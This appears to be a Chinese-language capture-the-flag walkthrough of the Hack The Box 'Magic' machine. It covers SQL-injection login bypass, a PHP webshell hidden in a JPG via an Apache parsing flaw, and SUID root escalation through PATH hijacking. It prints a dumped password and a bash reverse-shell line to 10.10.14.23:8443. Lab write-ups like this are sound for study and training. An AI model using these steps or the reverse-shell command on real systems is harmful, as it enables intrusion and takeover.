Hack The Box——Magic

目录

简介

信息收集

漏洞发现

SQL注入漏洞

文件上传

Apache解析漏洞

漏洞利用

权限提升

普通用户Shell

SUID提权

总结


简介

该靶机比较容易上手,通过SQL注入登录到上传页面,然后利用Apache解析漏洞获得WebShell,进而利用SQL注入获取到的密码切换到普通用户,最后利用SUID提升至root权限。

信息收集

使用nmap扫描目标主机端口及服务,发现仅开启22和80端口,分别对应OpenSSH 7.6p1和Apache httpd 2.4.29服务,且操作系统为Ubuntu,如图:

Hack The Box——Magic_第1张图片

通过搜索发现Apache 2.4.29存在解析漏洞(CVE-2017-15715),查看80端口Web服务,首页是一些图片,但在底部有登录链接,如图:

点击Login后页面转到了登录页,如图:

尝试常见弱口令无法登录。

漏洞发现

SQL注入漏洞

尝试输入用户名和密码均为('=')测试是否存在SQL注入,如图:

成功登录,说明存在SQL注入漏洞,使用sqlmap测试如图:

Hack The Box——Magic_第2张图片

使用--current-user查看发现当前用户为theseus@localhost,并不是root。进一步查看数据库Magic发现用户名和密码,如图:

Hack The Box——Magic_第3张图片

使用该用户名和密码可以登录到上传页面。尝试使用用户名admin,theseus和密码Th3s3usW4sK1ng通过SSH登录目标主机失败。

文件上传

尝试上传txt文件,发现只有服务器端做了白名单限制,仅允许JPG,JPEG和PNG文件上传。尝试使用00截断、畸形扩展名都无法绕过上传文件,文件后缀只能为jpg,jpeg和png。且上传后的文件在images/uploads/目录下,如图:

Hack The Box——Magic_第4张图片

随便找一张jpg图片,使用copy /b shell.jpg+shell.php shell.jpg生成php图片马,shell.php中包含代码。尝试使用CVE-2017-15715绕过上传,重命名文件shell.php为shell.phpa.jpg,然后上传并拦截数据包,如图:

Hack The Box——Magic_第5张图片

找到shell.phpa.jpg中'a'的二进制值'61'所在位置,如图:

Hack The Box——Magic_第6张图片

然后修改为'0a',如图:

Hack The Box——Magic_第7张图片

然后成功上传,如图:

Apache解析漏洞

访问图片地址发现没显示图片,而是成功解析了php代码,如图:

Hack The Box——Magic_第8张图片

后来发现直接上传包含.php的图片文件就可以解析php代码,不用那么麻烦的修改二进制值。

如果觉得正常图片的数据会导致php代码解析时显示不美观,也可以创建test.php.jpg文件随便写入一写字符串,然后使用vim -b test.php.jpg以二进制格式打开文件,然后输入命令:%!xxd切换到十六进制模式,如图:

然后将数据修改为ffd8 ffe0,如图:

然后输入命令:%!xxd -r转回为二进制,然后保存退出。然后使用vim test.php.jpg打开文件,写入php代码,如图:

然后保存之后上传,如图:

Hack The Box——Magic_第9张图片

这样显示就美观多了。

漏洞利用

使用msfvenom生成反弹shell的文件,如图:

在本地开启监听,然后执行上传的文件成功获得WebShell,如图:

Hack The Box——Magic_第10张图片

权限提升

使用python3 -c 'import pty;pty.spawn("/bin/bash")'切换到虚拟终端,查看/etc/passwd,如图:

Hack The Box——Magic_第11张图片

普通用户Shell

尝试使用数据库密码切换到普通用户,如图:

查看系统内核版本,如图:

内核较新,暂不尝试内核提权。查看sudo权限和SUID文件,如图:

Hack The Box——Magic_第12张图片

在最后发现/bin/sysinfo,如图:

Hack The Box——Magic_第13张图片

SUID提权

运行该程序可以看到CPU、内存和磁盘信息及使用情况。将pspy32上传到目标主机,然后将命令放入后台执行(./pspy32 &),再次执行/bin/sysinfo发现程序以root用户执行了lshw、fdisk和free命令,如图:

Hack The Box——Magic_第14张图片

由于Linux中命令执行的优先级是:绝对路径或相对路径 > alias > 内部命令 > $PATH环境变量定义的目录查找顺序中找到的第一个命令。尝试使用alias劫持命令不起作有,然后使用PATH成功劫持命令。如图:

Hack The Box——Magic_第15张图片

由于/bin/sh指向dash,直接使用bash命令会报错,尝试多次都无法直接使用bash反弹shell。最后发现执行echo 'echo "bash -i >&/dev/tcp/10.10.14.23/8443 0>&1" | /bin/bash' >lshw可以利用/bin/sysinfo反弹Shell了,如图:

总结

对该靶机的渗透很流畅,容易卡住的应该是上传那里,可能会想尽一切方法绕过,如果卡在那里就应该在想想配合解析漏洞吧。

你可能感兴趣的:(渗透测试,Hack,The,Box,HTB-Magic,渗透测试实例,Apache,解析漏洞)